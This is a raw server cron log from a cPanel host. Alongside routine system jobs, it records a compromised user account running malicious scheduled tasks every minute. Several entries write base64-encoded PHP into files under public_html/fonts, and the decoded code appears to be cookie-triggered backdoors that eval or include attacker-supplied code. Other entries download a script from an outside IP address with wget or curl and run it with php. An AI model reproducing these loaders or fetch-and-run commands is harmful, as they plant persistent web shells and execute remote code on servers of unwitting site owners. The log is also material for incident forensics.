Sep  2 00:32:01 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:32:01 ip-184-168-122-23 CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:32:01 ip-184-168-122-23 CROND[15030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:33:02 ip-184-168-122-23 CROND[15197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:33:02 ip-184-168-122-23 CROND[15198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:33:02 ip-184-168-122-23 CROND[15200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:33:02 ip-184-168-122-23 CROND[15201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:34:01 ip-184-168-122-23 CROND[15278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:34:01 ip-184-168-122-23 CROND[15281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:34:01 ip-184-168-122-23 CROND[15280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:34:01 ip-184-168-122-23 CROND[15282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:34:01 ip-184-168-122-23 CROND[15283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:35:01 ip-184-168-122-23 CROND[15369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:35:01 ip-184-168-122-23 CROND[15372]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:35:01 ip-184-168-122-23 CROND[15380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:36:01 ip-184-168-122-23 CROND[15486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:36:01 ip-184-168-122-23 CROND[15487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:36:01 ip-184-168-122-23 CROND[15490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:36:01 ip-184-168-122-23 CROND[15492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:36:01 ip-184-168-122-23 CROND[15491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:37:01 ip-184-168-122-23 CROND[15576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:37:01 ip-184-168-122-23 CROND[15578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:37:01 ip-184-168-122-23 CROND[15580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:37:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:38:01 ip-184-168-122-23 CROND[15660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:38:01 ip-184-168-122-23 CROND[15664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:38:01 ip-184-168-122-23 CROND[15663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:38:01 ip-184-168-122-23 CROND[15665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:38:01 ip-184-168-122-23 CROND[15662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:39:01 ip-184-168-122-23 CROND[15840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:39:01 ip-184-168-122-23 CROND[15843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:39:01 ip-184-168-122-23 CROND[15842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:39:01 ip-184-168-122-23 CROND[15841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:39:01 ip-184-168-122-23 CROND[15844]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:40:01 ip-184-168-122-23 CROND[15996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:40:01 ip-184-168-122-23 CROND[15995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:40:01 ip-184-168-122-23 CROND[15997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:41:01 ip-184-168-122-23 CROND[16097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:41:01 ip-184-168-122-23 CROND[16098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:41:01 ip-184-168-122-23 CROND[16099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:41:01 ip-184-168-122-23 CROND[16101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:42:01 ip-184-168-122-23 CROND[16175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:42:01 ip-184-168-122-23 CROND[16178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:42:01 ip-184-168-122-23 CROND[16179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:42:01 ip-184-168-122-23 CROND[16180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:42:01 ip-184-168-122-23 CROND[16177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:43:01 ip-184-168-122-23 CROND[16271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:43:01 ip-184-168-122-23 CROND[16272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:43:01 ip-184-168-122-23 CROND[16274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:43:01 ip-184-168-122-23 CROND[16273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:44:01 ip-184-168-122-23 CROND[16374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:44:01 ip-184-168-122-23 CROND[16376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:44:01 ip-184-168-122-23 CROND[16375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
